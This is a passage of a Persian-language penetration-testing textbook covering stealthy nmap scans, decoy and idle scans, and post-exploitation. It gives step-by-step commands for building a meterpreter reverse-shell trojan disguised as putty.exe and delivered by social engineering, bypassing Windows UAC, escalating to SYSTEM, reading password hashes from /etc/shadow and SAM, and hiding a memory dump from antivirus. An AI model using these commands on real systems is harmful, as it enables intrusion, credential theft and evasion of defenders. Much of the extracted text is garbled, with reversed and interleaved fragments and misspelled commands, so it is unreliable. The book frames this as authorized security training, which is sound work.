۶5استفاده کردroot@linux-server:~ # nmap --spoof –mac x IP دستور شماره 65 نتایج شماره41 مقدار xمیتواند یا ( 2صفر) باشد و یا cisco
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 68در حالت اول بهصورت Randomیک آدرس macایجاد میکند و در حالت دوم از آدرسهای متعلق به ciscoاستفاده میکند.برای اینکه تعداد xبایت به پکت ارسالی اضافه شود از دستور شماره ۶۶استفاده میکنیمroot@linux-server:~ # nmap --date –length x دستور شماره 66 نتایج شماره41برای مشاهد تغییرات میتوان از wiresharkاستفاده کرد و به مقدار total lengthدر لایه IPتوجه کرد .بهعبارتدیگر اگر ازدستور شماره ۶1استفاده کنیم و مقدار 60 total lengthباشد در حالتی که از دستور شماره ۶2استفاده کنیم مقدار total lengthبرابر 80خواهد بود.root@linux-server:~ # nmap -p 80 IP دستور شماره 67 نتایج شماره41root@linux-server:~ # nmap -p 80 --data –length 20 IP دستور شماره 68 نتایج شماره41برای به حداقل رساندن زمان ارسال هر پکت توسط nmapاز دستور شماره ۶1استفاده میکنیمroot@linux-server:~ # nmap -T paranoid IP دستور شماره 69 نتایج شماره41اگر تعداد nتارگت را برای scanمشخص کنیم و بخواهیم ابتدا xتا از nتارگت را اسکن کند سپس xتای بعدی از دستور شماره 12استفاده میکنیمroot@linux-server:~ # nmap -max –host group x IP range دستور شماره 71 نتایج شماره41برای اینکه تارگت نتواند آدرس IPما را کشف کند میبایست از دو طریق اسکن را انجام داد .روش اول decoy scanاست و دیگری Idle scanکه هرکدام را شرح خواهیم داد. Decoy scan1-4-2-2این نوع بدان معناست که طوری وانمود کنیم که علاوه بر IPما که مشغول اسکن تارگت است و توسط IDSرصد میشود چندین IPدیگر نیز همزمان در حال اسکن کردن همان تارگت هستند .در دستور شماره 11دستور اسکن Decoyمشخص شده استroot@linux-server:~ # nmap -D IP1 , IP2 , IP3 , … , IPn target ID دستور شماره 71 نتایج شماره41در دستور بالا علاوه بر اینکه IPاصلی ما در سیستم هدف ثبت خواهد شد IPهای یک تا nنیز ثبت میشوند.
69 بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم IDLe اسکن2-4-2-2. متا را اجرا کرده و وارد آن میشویم12 توسط دستورات شماره. ابتدا بایستی تا متا اسپویلت را اجرا کنیمIDLe برای اسکنroot@linux-server:~ # service postgresgl start 72 دستورات شمارهroot@linux-server:~ ## service metadploit startroot@linux-server:~ #msfconsole 41نتایج شماره میتوان از. را مشخص کنیمIntermental هستند و در کلاسzombie که در حالتIP ابتدا بایستی یک سری آدرسهایی مشخص12 هستند و با استفاده از دستورات شمارهIntermental استفاده کرد و آنهایی را که در کلاسIP بلوکهای تصادفی می شوند را بدست آوریمmsf > use auxiliary/scanner/ip/ipidseq 72 دستورات شماره 41نتایج شمارهmsf auxiliary(ipidseq) > show optionsModule options (auxiliary/scanner/ip/ipidseq):ame Current Setting Required Description---- --------------- -------- -----------INTERFACE no The name of the interfaceRHOSTS yes The target address range or CIDR identifierRPORT 80 yes The target portSNAPLEN 65535 yes The number of bytes to captureTHREADS 1 yes The number of concurrent threadsTIMEOUT 500 yes The reply read timeout in millisecondsmsf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24RHOSTS => 192.168.1.0/24msf auxiliary(ipidseq) > set THREADS 50THREADS => 50msf auxiliary(ipidseq) > run[*] 192.168.1.1's IPID sequence class: All zeros[*] 192.168.1.2's IPID sequence class: Incremental![*] 192.168.1.10's IPID sequence class: Incremental![*] 192.168.1.104's IPID sequence class: Randomized[*] 192.168.1.109's IPID sequence class: Incremental![*] 192.168.1.111's IPID sequence class: Incremental![*] 192.168.1.114's IPID sequence class: Incremental![*] 192.168.1.116's IPID sequence class: All zeros[*] 192.168.1.124's IPID sequence class: Incremental![*] 192.168.1.151's IPID sequence class: Incremental!
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 70حال آن دسته از آدرسهای IPکه برای آنها عبارت ! IPID sequence class: Incrementalچاپ میشود و همچنین هاست در حالت liveقرار دارد که با pingکردن مشخص میشود را میتوان به عنوان یک idleدر نظر گرفت و از آنها در nmap idleاستفاده کرد .با استفاده از دستورشماره 13با nmapاسکن را انجام میدهیم. idle system -Pn target IPآدرس root@linux-server:~ # nmap -sI IP دستور شماره 73 نتایج شماره41root@linux-server:~ ## service metadploit start برای اینکه سرورهای DNSاطلاعات ما را لاگ نکنند میتوان با استفاده از دستور شماره 14اسکن را در حالت بدون استفاده ازroot@linux-server:~ #msfconsole DNSانجام دادroot@linux-server:~ # nmap -n IP دستور شماره 74 نتایج شماره41اگر چندین هاست را برای اسکن مشخص کردهایم ،میتوان با استفtاrدهtaاز sدitستloورdpشمaاtرeه 1m5اeسicکvن rآseنه#ا#را ب~:هrصeوvرerتsر-نxدuوnمiاlنج@اtمooداrد.root@linux-server:~ #msfconsole دستور شماره 75root@linux-server:~ # nmap --random -hosts نتایج شماره41root@linux-server:~ ## service metadploit startroot@linux-server:~ #msfconsole
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 71 فصل سه بهره برداری – Exploit در این فصل مباحثی بیان می شوند که مربوط است به استفاده از نتایج فصل قبل و نفوذ به سیستم و افزایش سطح دسترسی
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 72 3بهره برداری Exploit - در فصلهای قبل که مباحث شناسایی در حالتهای Activeو Passiveمطرح شدند متخصص امنیت میتوانست نقاط ضعف را برای رسیدن به اهداف خود که در حقیقت امن سازی سیستم است شناسایی کند .حال برای اینکه به نتایج بهدستآمده از قبل رنگ عملی زده شود بایستی سیستم یا برنامه تحت وب و یا هرگونه بسته دیگری exploitشود .ابتدا بایستی مسائل زیر را در exploitدر نظر گرفت )1آیا هدف بهدرستی مشخصه بندی شده است )2آیا نوع حمله مشخصه بندی شده است؟ اگر نوع حمله مشخصه بندی نشده باشد میتواند باعث بروز مشکلات و آسیبهای جدی به سیستمها شود )3نوع exploitراه دور ( )remoteاست یا محلی ( .)localاگر راه دور است احتمال شناسایی توسط هدف کمتر خواهد بود و اگر محلی است شانس exploitخیلی بیشتر و احتمال فاش شدن هویت مهاجم نیز بیشتر است. )4دسترسی زمانی به هدف بعد از exploitچقدر می باشد .آیا دسترسی دائمی است یا کوتاهمدت. )5زمان مورد نیاز برای ادامه فعالیت
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 73 حال در این فصل ما موارد زیر ر ا بررسی خواهیم کرد )1مدلسازی تهاجم )2استفاده از منابع آسیبپذیری محلی یا آنلاین )3اصول استفاده از metasploit )4عبور از سد IDSو آنتیویروسها 1-3مدلسازی تهاجم در بخشهای قبل اطلاعات لازم و آسیبپذیریها مشخص شدند .حال بایستی بر اساس اطلاعات بهدستآمده و روشهای حمله یک استراتژی قدرتمند و هوشمند را مدلسازی کرد .اصول ًا اهداف را به لحاظ اینکه چطور میتوانند متخصص امنیت را به اهدافش برساند به 3دسته تقسیم میشوند که عبارت است از :Primary Target .1این نوع اهداف بعد از حمله هکر بلافاصله اطلاعات لازم را نمایش میدهند و مهاجم یا متخصص تست نفوذ را به اهدافش میرسانند .مانند نفوذ به GGSN : Secondary Target .2این نوع اهداف اطلاعاتی را به مهاجم میدهند که در به ثمر رساندن حملاتی که به سیستم های نوع قبل میشود مفید است مانند حسابهای کاربری و غیره .بهعنوانمثال نفوذ به دیتابیس سایتی که در آن اطلاعات نفوذ به main systemوجود دارد. :Tertiary Target .3این نوع اهداف ممکن است با اهداف حمله بیمربوط باشند اما میتوان از آنها اطلاعاتی را به دست آورد که در افزایش سطح دسترسی ما را یاری میرساند. 2-3استفاده از منابع محلی و آنلاین برای مشاهده آسیبپذیریها اگر باگی کشفشده باشد و برای آن کد 0dayوجود داشته باشد میتوان آن را در لیست شماره 3مشاهده کرد. همانطوری که در فصل یک مشخص کردیم یک دیتابیس که بایستی هرماه آپلود شود نیز در کالی وجود دارد که کدهای سایت exploit –dbدر آن قرار دارد .برای جستوجو در این دیتابیس میتوان از دستور شماره 1استفاده کرد.
74 بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم استفاده میکنیم و نتایج را در2 برای این کار از دستور شماره. را مشاهده کنیمSSL فرض کنید میخواهیم تمام کدهای مربوط به . مشاهده میکنیم4 شکل شمارهroot@linux-server:~ # seachsploit نام واژه 1 دستور شمارهroot@linux-server:~ # seachsploit SSL 41نتایج شمارهhttp://web.nvd.nist.gov/view/vuln/search 2 دستور شمارهroot@linux-server:~ ## service metadploit start 41نتایج شمارهhttp://secunia.com/community/ 1 لیست شمارهroot@linux-server:~ #msfconsolehttp://www.osvdb.org/search/advsearchrhottopt:@//lpinaucxk-estesrtovermr:~se#c#ursiteyr.cvoicme/ metadploit startrhottopt:@//lwinwuwx-.sseercvuerrit:y~fo#cmuss.fccoomn/svoulelnerabilitieshttp://www.db-exploit.comroot@linux-server:~ ## service metadploit startroot@linux-server:~ #msfconsole4 شکل شماره
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 75 بعد از پیدا کردن کد موردنظر بایستی آن را به پوشه /tmpبرده و در آنجا بسته به نوع زبان برنامه آن را کامپایل کرده و اجرا کنیم. در دستورات شماره 5روش کامپایل هر نوع کد بیان شده است دستورات شماره 5 اگر به زبان Perlباشد بهصورت Perl Filename.pl کامپایل میشود .اگر به زبان rubyباشد بهصورت ruby filename.rb کامپایل می شود.برای کامپایل کردن کدهای Cبهصورت زیر عمل میکنیم gcc filename.c -O filename که gccمخفف GNU compiler collectionاست .برای کامپایل برنامه های پایتون نیز به صورت زیر عمل می کنیم Python filename.py در ادامه این فصل موارد زیر را بررسی خواهیم کرد )1نحوه دور زدن user account controlدر ویندوز یا همان UAC )2نحو یک ارزیابی سریع از سیستمی که هک شده است )3نحوه به دست آوردن اطلاعات مهم از یک سیستم که هک شده است )4نحوه ایجاد حسابهای کاربری جدید )5نحوه استفاده از متا در فعالیتهای Post-Explitation )۶نحوه Horizontal, Vertical escalationدر شبکه
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 76 3-3دور زدن UACدر ویندوز vistaو نسخههای بالاتر ،ماکروسافت یک کنترلکننده امنیتی ایجاد کرده است تا اجرای پردازشها در سه سطح محدود شود که این سه سطح عبارتاند از High )1که در سطح adminاست ( Medium )2توسط کاربر لاگین شده) Low )3برنامههایی هستند که اگر به خطر هم بیافتد کوچکترین آسیبی به سیستم وارد نمیکنند (با احتمال بالا) UACدارای چهار نوع تنظیم است که عبارتاند از Always notify )1 همواره نسبت به تغییرات روی برنامهها هشدار میدهد و نیاز به تأیید دارد .این یعنی بهصورت خودکار نمیتوان فعالیتی را برای تغییر برنامهها انجام داد ،زیرا این کار به تأیید کاربری که پشت سیستم نشسته است نیاز دارد. Notify me when program try to make changes to my computer (default) )2 فقط زمانی هشدار می دهد که قرار است برنامه ای نصب شود Notify me when program try to make changes to my computer (do not dim my desktop) )3 عین حالت 2 Never notify )4 هیچ گاه هشداری نمی دهد زمانی که سیستمی هک شده است با استفاده از دستور شماره ۶میتوان سطح کنترلکننده امنیتی را مشخص کرد دستور شماره 6root@linux-server:~ # Whoami groupsدر شکل شماره 1نتایج استفاده از این دستور در سیستمی که هک شده است مشخص استroot@linux-server:~ ## service metadploit start
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 77شکل شماره 7فرض کنید توسط روشهای هک مانند تروجان و یا command Injectionو یا حتی SQL Injectionاز یک سیستم شل گرفتهایم.به عنوان مثال می توان در نسخه های جدید کالی لینوکس از دستور شماره 2استفاده کرد و یک تروجان ساخت و آنرا در اختیار قربانی قرار دادroot@linux-server:~ # msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcpLHOST=192.168.1.13 LPORT=2222 -b \"\x00\" -f exe -o putty.exe دستور شماره 8بعد از ارسال تروجان به قربانی که از روشهای مهندسی اجتماعی بهرهمند میشویم ،از دستورات شماره 1برای شنود پورتی که برای تروجان و ایجاد شل در نظر گرفتیم استفاده میکنیمrroooott@@lilninuxu-xs-esrevervr:e~r:#~##m#ssfceornvsicolee metadploit start دستورات شماره9rmosoft@> ulisneuexx-psleoritv/emru:~lti/#hmansdflceronsolemsf > set payload windows/meter preter/reverse_tcPmsf > set LHOST 192.168.1.13msf > set LPORT 2222msf > exploit -j[*] started reverse handler on 192.168.252.128: 2222[*] starting the payload handler
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 78 بهمحض اینکه قربانی بر روی برنامه کلیک کند شل گرفته میشود. 1-3-3افزایش سطح دسترسیفرض کنید در محیط meterpreterهستیم .حال از دستور backgroundاستفاده میکنیم تا یک ماژول دیگر را برای افزایش سطح دسترسی در نشست فعلی ایجاد کنیم (مطابق با دستورات شماره 12و شکلهای شماره 11و )12 دستورات شماره 11msf (handler) >use exploit/windows/local/askmsf (ask) > infoشماره نشست فعلی msf (ask) > set session xmsf (ask) > set TECHNIQUE PSHmsf (ask) > run برای مشخص کردن شماره نشست فعلی از دستور زیر استفاده می کنیمmsf (handler) > sessions -i شکل شماره 11 شکل شماره 12
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 79 با اجرای این دستور افزایش سطح دسترسی را خواهیم داشت .بعد از اجرای این دستور یک نشست جدید ایجاد میشود یعنی اگر شماره نشست قبلی iبود ،شماره نشست فعلی i+1است .اگر در نشست قبلی در محیط meterpreterدستور getuidرا وارد کنیم و در محیط جدید که افزایش سطح دسترسی را داشتهایم نیز دستور فوق را اجرا کنیم متوجه افزایش سطح کاربری از عادی به ادمین سیستم خواهیم شد .حال میتوان برای افزایش سطح دسترسی از ادمین به سیستم از دستور getsystemاستفاده کرد ،مطابق با شکل شماره 13 شکل شماره 13همانطوری که در شکل شماره 13مشخص است بعد از اجرای دستور getsystemو واردکردن دستور getuidمتوجه میشویم که سطح دسترسی ما به systemتغییر کرده است.فرض کنید بعد از گذشت چند دقیقه قربانی برنامه puttyرا ببندد .با بستن این برنامه دسترسی ما نیز قطع میشود .برای مقابله باچنین مشکلی ما یک دستور کارا و مهم خواهیم داشت به نام migrateکه پروسه در حال اجرا را از puttyبه یک پروسه دیگر کههمواره در حال اجرا است تبدیل میکند .برای مشاهده لیست تمامی پروسهها از دستور psاستفاده میکنیم .بنابراین با فرض اینکهمیخواهیم پروسه را به SVChost.exeتغییر دهیم و شماره PIDآن 42۶2است از دستور شماره 14استفاده می کنیم و نتایج در شکل شماره 15مشخص شده است دستور شماره 14meterpreter > migrate 4068 شکل شماره 15 root@linux-server:~ ## service metadploit startهمانطوری که در شکل شماره 15مشخص است نتایج تغییر پروسه موفقیت آمیز بوده اleسsoتn.عoلfcتsاینmک#ه ب~ی:اerنrvشeد-sبا xبuسinتlن@purottoytسطح دسترسی ما قطع میشود این است که بار اول با اجرای puttyدر سیستم قربانی پروسه Powershellاجرا شد که با بستن آن این پروسه نیز بسته میشود.
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 80زمانی که از ماژول local/askاستفاده میکنیم اگر در بخش تنظیمات UACمقدار never notifyقرار دادهشده باشد هیچ پنجرهایمبنی بر تأیید تارگت نسبت به یک رفتار مخرب پنهانی نیاز نیست اما اگر در 3سطح بالاتر باشد تأیید کاربر نیز نیاز است .اگربخواهیم درحالت کلی پروسه افزایش سطح دسترسی را بدون تأیید کاربر نسبت به تنظیمات یا تغییرات در سیستم ایجاد کنیم از دستورات شماره 1۶استفاده می کنیم دستورات شماره 16msf exploit(ask) > use exploit/windows/local/bypassuacشماره نشست جاری msf exploit(bypassuac) > set session xmsf exploit(bypassuac) > set TECHNIQUE PSHmsf exploit(bypassuac) > runاین دستور یک نشست جدید ایجاد میکند .حال میتوان افزایش سطح دسترسی را با اجرای ماژول local/askبدون اینکه هیچپنجرهای مبنی بر تأیید کاربر وجود داشته باشد انجام داد .لازم است توجه کنیم که در زمان اجرای ماژول local/askشماره نشست آخری که حاصل ماژول bypassبوده است باید وارد شود.حال فرض کنید در windows 7آنتیویروس جلوی متد دور زدن UACبیانشده در دستورات شماره 1۶را بگیرد .در این حالت میتوان از دستورات شماره 11استفاده کرد دستورات شماره 17msf exploit(ask) > exploit/windows/local/bypassuac_injectionmsf exploit(bypassuac_injection) >> set session x شماره نشست جاریmsf exploit(bypassuac_injection) >> runدر این دستور شماره نشست اولین حمله را وارد میکنیم سپس بعد از اجرا بهصورت پنهانی برای یک نشست جدید UACرا غیرفعال میکند .این روش آنتیویروسهای بسیاری را بایپس میکند. 4-3بررسی سیستم قربانی بهمحض اینکه یک سیستم دچار حمله شد اهداف زیر از جانب مهاجم و یا متخصص تست نفوذ دنبال میشود. .1یک بررسی سریع در محیط که شامل حساب های کاربری ،اسامی ،تنظیمات و ارتباطات و زیرساخت میشود .2جستوجو ،کپی و تغییر در فایلهای سیستم قربانی همچون فایلهایی که مربوط به اطلاعات امنیتی و یا مالی است
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 81 .3ایجاد یک حساب کاربری جدید Vertical escalate .4تلاش برای افزایش سطح دسترسی در همان سیستم که به privilege escalationنیز معروف است. Horizontal escalation .5تلاش برای نفوذ به سیستمهای دیگر در بستر شبکه .۶تلاش برای نصب درهای پشتی ماندگار و همچنین کانالهای امن برای حفظ ارتباط با سیستم هک شده .1پاک کردن نشانهها یا اثر برای قربانی نتواند او را پیگیری کند.حال ما ابتدا دستوراتی که باید اجرا شوند تا اطلاعات حساس به دست آیند را بر اساس نوع سیستم هک شده به دو دسته تقسیمبندی میکنیم )1سیستم هک شده ویندوز باشد )2سیستم هک شده لینوکس باشد 1-4-3سیستم هک شده لینوکس باشدبرای مشاهده اطلاعات مربوط به تنظیمات DSNمی توان دستور شماره 12را وارد کردroot@linux-server:~ # nano /etc/resolve.conf دستور شماره 18root@linux-server:~ # cat /etc/resolve.conf یاازآنجاییکه این فایل یک فایل globalاست و مجوز خواندن برای آن وجود دارد خواندن آن باعث بروز هشدار توسط سیستم تشخیص خطا نمیشود .برای مشاهده اطلاعات لاگین افراد و پسورد های هش شده از دستورات شماره 11استفاده می کنیم دستورات شماره 19root@linux-server:~ # nano /etc/passwdroot@linux-server:~ # cat /ect /shadowلازم به ذکر است که پسورد های موجود در فایل shadowرا می توان توسط برنامههایی همچون john the ripperکرک کرد. برای مشاهده اطلاعات سیستم نیز از دستور unameبه همراه سوئیچ های مهم آن همچون -aاستفاده می کنیم.
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 82ifconfig -all اطلاعات مربوط به آدرسهای ( IPدستور شماره )22Iptables -l -nps aus دستور شماره 21dpkg -l اطلاعات مربوط به قواعد دیواره آتش (دستور شماره )21 دستور شماره 21 سرویسهای در حال اجرا (دستور شماره )22 دستور شماره 22 برنامه های نصب شده(دستور شماره )23 دستور شماره 23whoami /all 2-4-3سیستم هک شده ویندوز باشدipconfig /all لیست تمامی کاربران (دستور شماره )24ipconfig /displaydnsnet view دستور شماره 24net view /domain مشاهده اطلاعات مربوط به شبکه و کاربران شبکه (دستورات شماره )25 Net user /domain دستورات شماره 25 مشخص کردن لیست دامینها (دستورشماره )2۶ دستور شماره 26
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 83Net accounts چاپ سیاستهای پسورد گذاری(دستورشماره )21Net account / domain دستور شماره 27 (دستورشماره )21 چاپ سیاستهای پسورد گذاری در دامین(دستورشماره )22 دستور شماره 28 مشاهده لیست فایلهای به اشتراک گذاشته شده(دستورشماره )21 دستور شماره 29Net shareدر سیستمهای جدیدتر windowsاز یکزبان اسکریپت نویسی به نام WMICاستفاده میشود که باید دستورات مهمی که در CMDاجرا میشوند و با wmicشروع میشوند را در یک batفایل نوشت سپس آن را بر روی سیستم قربانی uploadکرد و سپس آنها را اجرا کرد و درنهایت خروجی را دانلود کرد. از دیگر روش ها استفاده از powershellاست که در آن میتوان دستورات مهمی را اجرا کرد. 3-4-3پیدا کردن اطلاعات حساس و دریافت آنهادر بخش قبل ما تنظیمات سیستم را مشاهده کردیم و توانستیم اطلاعات زیادی را به دست آوریم .حال در این بخش نیاز است تا اطلاعاتی را که برای هدف مهم هستند را کشف و دانلود کنیم. در یک سری از فایلها در لینوکس یا ویندوز اطلاعات مهمی وجود دارد که عبارت است از در لینوکس )1اکثر فایلهای مربوط به تنظیمات در پوشه /etcاست که باید فایلهای مهم موجود در آن دانلود شوند )2گاهی پوشه /user/local/etcنیز حاوی اطلاعات مهمی است )3پوشههایی که حاوی پسوردها هستند نیز مهم است که در /etcو /etc/passwordو /etc/shadowقرار دارند )4فایلهای مربوط به تنظیمات و همچنین کلید عمومی و خصوصی SSHکه در /ect/sshواقعشده است
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 84 )5حلقه کلیدهای خصوصی که در پوشه gnupgواقعشده است در ویندوز )1بررسی حافظه memoryیا همان system memoryکه برای گرفتن پسوردها مناسب است )2فایلهای مربوط به registry )3فایلهای security account memoryیا همان SAMکه حاوی پسوردها ی هش شده است که در مسیر%SYSTEMROOT%\repair \SAM و یا در% SYSTEMROOT%\system32\config\Regback\SAM واقع شده است )4ایمیلها و فایلها دادهای )5بررسی مسیر زیرUser\username account\Appdata\Local\Microsoft\windows\Temporary internet files نیز ممکن است حاوی اطلاعات مهمی باشددر سیستم نفوذ شده اولین اولویت بیرون کشاندن اطلاعات حافظه سیستم یا system memoryاست که در زیر روشهای این کار بررسیشدهاند .1استفاده از نرم Belkasoft RAM Captureکه البته نسخه command lineنیست .پس از اجرای این برنامه یک فایل باپسوند .memخواهیم داشت .حال با استفاده از برنامه Belkasoft Evidence centerکه برای خواندن فایلهای .mem است استفاده میکنیم .2از دیگر ابزارها برای Dumpکردن memoryیا همان حافظه RAMاستفاده از برنامه moon sols dumpit goes mainstreamاست
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 85 .3برای تحلیل فایلهایی که از مموری گرفتهشده است ،میتوان از ابزار volatilityکه در بخش forensics menuوجود دارد استفاده کرد که به تحلیل فایلهایی با پسوند .vmemیا memمیپردازد. .4اکثر این برنامهها اگر اجرا شوند آنتیویروسها آنها را بهعنوان یک نوع حمله بهقصد فاشسازی اطلاعات کشف میکنند. یعنی اگر بخواهیم یک برنامه Dump memoryرا اجرا کنیم جلوی این کار گرفته خواهد شد .بهمنظور جلوگیری از بروز این مشکل میتوان از دستور شماره 32در محیط meterpreterاستفاده کرد دستور شماره 31 ایجاد یک پروسه hidden >meterpreter > execute -H -m -d calc.exe -f <memory executable + parameters این کار باعث میشود که calc.exeبهعنوان یک dummyساختگی اجرا شود اما برنامه dump memoryدر پروسه خودش بهصورت پنهانی اجرا شود و حتی پروسه اجرای dump memoryدر task managerهم دیده نخواهد شد و برای پیگیری این نوع حمله نیاز به تکنیکهای forensicاست و علت اصلی این امر این است که پروسه بر روی diskاجرا نمیشود و بر روی memory اجرا میشود و اکثر آنتیویروسها memoryرا اسکن نمیکنند. بهمحض اینکه memoryبر روی سیستم مهاجم دانلود شد و فایل خود برنامه پاک گشت میتوان از مجموعه ابزارهای volatility که اسکریپتهای پایتون هستند بهمنظور آنالیز این فایل استفاده کرد. اطلاعاتی که میتواند از این memoryتوسط volatilityاستخراج شود عبارت است از: )1پروسههای در حال اجرا -سوکتها loads DLL -هاconnection -ها و ... )2هشها LM/NTLMو LSAها که توضیحات این پسوردها عبارت است از LANMAN :LMمتد اولیه Microsoftبرای هش کردن پسوردهای مربوط به loginکه بعداً بهراحتی شکسته شد و نیاز به یک متد بهتر احساس شد. NT LANMAN :NTLMیک متد بهجای LANMANاست که در قبال حملات مقاومت خیلی بیشتری از خود نشان میدهد.
بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 86 local security authority :LSAذخیره کننده کلیدهای محلی مانند پسوردهای اتصال به شبکه کابلی و غیر کابلی،VPN ،پسوردهایی که قبلاً زدهشده و برای loginبعدی بهصورت خودکار از آنها استفاده میشود و به نام auto login passwordشناخته میشود.حال فرض کنید فایل .memیا .vmemرا در اختیارداریم و میخواهیم از آن در kaliاطلاعاتی را به دست بیاوریم .میتوان در ابتدابرای مشخص کردن نوع imgو osاز دستور شماره 31استفاده کنیم( .به فرض نام فایل xxx.memاست) دستور شماره 31root@linux-server:~ # python vol.py imageinfo -f xxx.memبرای آشکارسازی اطلاعات مربوط به hivesمیتوان از پلاگین hivelistاستفاده کرد(مطابق دستور شماره )32 دستور شماره 32root@linux-server:~ # python vol.py -f xxx.mem 5-3یک نمونه عملی خطرناک exploitفرض کنید یکی از تست هایی که بایستی در مراحل قبل انجام میدادیم بررسی این بود که آیا درگاه های تحت وب تارگت های مااز پلت فرم های مدیریت محتوای وب یا CMSاستفاده می کنند یا خیر و اگر استفاده می کنند از چه نسخه ای است .ابتدا بایستیاز ابزار های متن بازی که این این نوع اسکن را انجام می دهند استفاده کرد .ما از ابزاری به نام CMSmapاستفاده می کنیم .بعد از نصب اهدافمان را اسکن کرده سپس با توجه به اطلاعات بدست آمده بدنبال روشهای نفوذ خواهیم گشت.با استفاده از دستورات شماره 32برنامه فوق را نصب و اجراء می کنیم دستورات شماره 32root@kali~# git clone https://github.com/Dionach/CMSmap.gitroot@kali~# cd CMSmaproot@kali~# cd CMSmap-master/root@kali~# chmod +x cmsmap.pyCMSmap tool v0.6 - Simple CMS ScannerAuthor: Mike Manzotti [email protected]>Usage: cmsmap.py -t <URLTargets: )'-t, --target target URL (e.g. 'https://example.com:8080/ -f, --force force scan (W)ordpress, (J)oomla or (D)rupal !-F, --fullscan full scan using large plugin lists. False positives and slow -a, --agent set custom user-agent )-T, --threads number of threads (Default: 5…….
87 بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم بدین منظور از دستور. را اسکن کنیمhttp://127.0.0.1/tic فرض کنید در محیط آزمایشگاه قصد داریم تا وب سایت با آدرس مشابه همین کار را با رضایت مندی صاحبین منابع اصلی دیجیتال در یک پروژه تست نفوذ می توان. استفاده می کنیم33 شمارهبروی دامنه های اصلی انجام داد اما از آنجایی که در این پروژه همانطور که از قبل بیان شده است چنین قراردادی وجود ندارد ما .اجازه چنین اسکنی را نخواهیم داشت 33 دستور شمارهroot@kali~# ./cmsmap.py -t http://192.168.1.106/tic مرتبط با اجرای دستور بالا هستند34 نتایج شماره 34 نتایج شماره[-] Date & Time: 24/05/2016 02:40:54[-] Target: http://192.168.1.106/tic[M] Website Not in HTTPS: http://192.168.1.106/tic[I] Server: Apache/2.4.9 (Win64) PHP/5.5.12[I] X-Powered-By: PHP/5.5.12[L] X-Generator: Drupal 7 (http://drupal.org)[I] X-Content-Type-Options: Not Enforced[L] Robots.txt Found: http://192.168.1.106/tic/robots.txt[I] CMS Detection: Drupal[I] Drupal Version: 7.22[H] Drupal Vulnerable to SA-CORE-2014-005[I] Drupal Theme: bartik]-[Enumerating Drupal Usernames via \"Views\" Module...[I] Autocomplete Off Not Found: http://192.168.1.106/tic/?q=user]-[Drupal Default Files:[I] http://192.168.1.106/tic/README.txt[I] http://192.168.1.106/tic/INSTALL.mysql.txt[I] http://192.168.1.106/tic/MAINTAINERS.txt[I] http://192.168.1.106/tic/profiles/standard/translations/README.txt[I] http://192.168.1.106/tic/profiles/minimal/translations/README.txt[I] http://192.168.1.106/tic/INSTALL.pgsql.txt[I] http://192.168.1.106/tic/UPGRADE.txt
88 بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم 34 ادامه نتایج شماره [I] http://192.168.1.106/tic/CHANGELOG.txt [I] http://192.168.1.106/tic/INSTALL.sqlite.txt [I] http://192.168.1.106/tic/LICENSE.txt [I] http://192.168.1.106/tic/INSTALL.txt [I] http://192.168.1.106/tic/COPYRIGHT.txt [I] http://192.168.1.106/tic/web.config [I] http://192.168.1.106/tic/modules/README.txt [I] http://192.168.1.106/tic/modules/simpletest/files/README.txt [I] http://192.168.1.106/tic/modules/simpletest/files/javascript-1.txt [I] http://192.168.1.106/tic/modules/simpletest/files/php-1.txt [I] http://192.168.1.106/tic/modules/simpletest/files/sql-1.txt [I] http://192.168.1.106/tic/modules/simpletest/files/html-1.txt [I] http://192.168.1.106/tic/modules/simpletest/tests/common_test_info.txt [I] http://192.168.1.106/tic/modules/filter/tests/filter.url-output.txt [I] http://192.168.1.106/tic/modules/filter/tests/filter.url-input.txt [I] Forgotten Password Allows Username Enumeration: http://192.168.1.106/tic/?q=user/password [-] Search Drupal Modules ... [I] comment [I] content [I] field [I] node [I] search [I] system [I] user [I] image [I] Checking for Directory Listing Enabled ... [-] Date & Time: 24/05/2016 02:44:38 [-] Completed in: 0:03:44 است که نسخه قدیمی نیست زیرا7.22 همانطوری که مشاهده می کنید این سایت از دروپال استفاده می کنید و نسخه آن استفاده کرده و اطلاعات35 حال بر اساس این اطلاعات ما می توانیم از لیست شماره. است2 جدیدترین نسخه دروپال نسخه شماره . می باشدdrupal 7 عبارت کلیدی برای جستجو.لازم برای نفوذ و یا آسیب به درگاه فوق را بدست بیاوریم
